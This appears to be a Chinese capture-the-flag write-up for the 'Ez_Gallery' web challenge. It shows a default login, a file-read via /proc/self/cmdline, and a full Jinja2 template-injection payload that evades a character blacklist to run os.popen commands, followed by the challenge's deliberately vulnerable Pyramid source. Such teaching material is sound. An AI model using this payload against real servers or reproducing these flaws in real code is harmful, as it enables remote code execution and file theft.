2024国城杯WEB题解_Ez_Gallery
账号密码为:
admin:123456
即可登录成功!
但是这里不可能这么简单的,我们尝试读取其他文件!
我们直接读当前正在运行的进程的命令行参数! => /proc/self/cmdline
可以看到账号密码验证!
waf过滤了一些构造数字的函数,其中包括数字!
我们采用ssti的一些不常用的回显方式!
参考链接:
这里我尝试构造了很久,但是还是没出来,甚至怀疑起了题目,直到看完官方wp,是我的错!
# payload
{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}
解读:
1、访问内置函数:
cycler:在python ssti模板引擎中用于循环或迭代数据
2、导入模块:
cycler['__init__']['__globals__']['__builtins__']:通过 cycler 对象访问初始化函数的 __globals__ 字典,从而进行访问内置函数。
cycler['__init__']['__globals__']['__builtins__']['__import__']('sys'):使用内置的 __import__ 函数导入 sys 模块。
cycler['__init__']['__globals__']['__builtins__']['__import__']('os'):使用内置的 __import__ 函数导入 os 模块。
3、执行系统命令
cycler['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']():使用 os.popen('ls') 执行系统命令 ls, 然后读取并输出。
4、修改属性:
使用 setattr 函数将 wsgiref.simple_server.ServerHandler 类的 http_version 属性设置为 ls 命令的输出。
因为过滤了点,所以这里使用 [''] 绕过
![2024国城杯WEB题解_Ez_Gallery 2024国城杯WEB题解_Ez_Gallery]()
拿到flag!
import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import os
class User:
def __init__(self, username, password):
self.username = username
self.password = password
users = {"admin": User("admin", "123456")}
def root_view(request):
# 重定向到 /login
return HTTPFound(location="/login")
def info_view(request):
# 查看细节内容
if request.session.get("username") != "admin":
return Response("请先登录", status=403)
file_name = request.params.get("file")
file_base, file_extension = os.path.splitext(file_name)
if file_name:
file_path = os.path.join("/app/static/details/", file_name)
try:
with open(file_path, "r", encoding="utf-8") as f:
content = f.read()
print(content)
except FileNotFoundError:
content = "文件未找到。"
else:
content = "未提供文件名。"
return {"file_name": file_name, "content": content, "file_base": file_base}
def home_view(request):
# 主路由
if request.session.get("username") != "admin":
return Response("请先登录", status=403)
detailtxt = os.listdir("/app/static/details/")
picture_list = [i[: i.index(".")] for i in detailtxt]
file_contents = {}
for picture in picture_list:
with open(f"/app/static/details/{picture}.txt", "r", encoding="utf-8") as f:
file_contents[picture] = f.read(80)
return {"picture_list": picture_list, "file_contents": file_contents}
def login_view(request):
if request.method == "POST":
username = request.POST.get("username")
password = request.POST.get("password")
user_captcha = request.POST.get("captcha", "").upper()
if user_captcha != captcha_store.get("captcha_text", ""):
return Response("验证码错误,请重试。")
user = users.get(username)
if user and user.password == password:
request.session["username"] = username
return Response("登录成功!<a href='/home'>点击进入主页</a>")
else:
return Response("用户名或密码错误。")
return {}
def shell_view(request):
if request.session.get("username") != "admin":
return Response("请先登录", status=403)
expression = request.GET.get("shellcmd", "")
blacklist_patterns = [
r".*length.*",
r".*count.*",
r".*[0-9].*",
r".*..*",
r".*soft.*",
r".*%.*",
]
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response("wafwafwaf")
try:
result = (
jinja2.Environment(loader=jinja2.BaseLoader())
.from_string(expression)
.render({"request": request})
)
if result != None:
return Response("success")
else:
return Response("error")
except Exception as e:
return Response("error")
def main():
session_factory = SignedCookieSessionFactory("secret_key")
with Configurator(session_factory=session_factory) as config:
config.include("pyramid_chameleon") # 添加渲染模板
config.add_static_view(name="static", path="/app/static")
config.set_default_permission("view") # 设置默认权限为view
# 注册路由
config.add_route("root", "/")
config.add_route("captcha", "/captcha")
config.add_route("home", "/home")
config.add_route("info", "/info")
config.add_route("login", "/login")
config.add_route("shell", "/shell")
# 注册视图
config.add_view(root_view, route_name="root")
config.add_view(captcha_image_view, route_name="captcha")
config.add_view(
home_view, route_name="home", renderer="home.pt", permission="view"
)
config.add_view(
info_view, route_name="info", renderer="details.pt", permission="view"
)
config.add_view(login_view, route_name="login", renderer="login.pt")
config.add_view(
shell_view, route_name="shell", renderer="string", permission="view"
)
config.scan()
app = config.make_wsgi_app()
return app
if __name__ == "__main__":
app = main()
server = make_server("0.0.0.0", 6543, app)
server.serve_forever()
注:鼎星安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(鼎新安全):2024国城杯WEB题解_Ez_Gallery
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论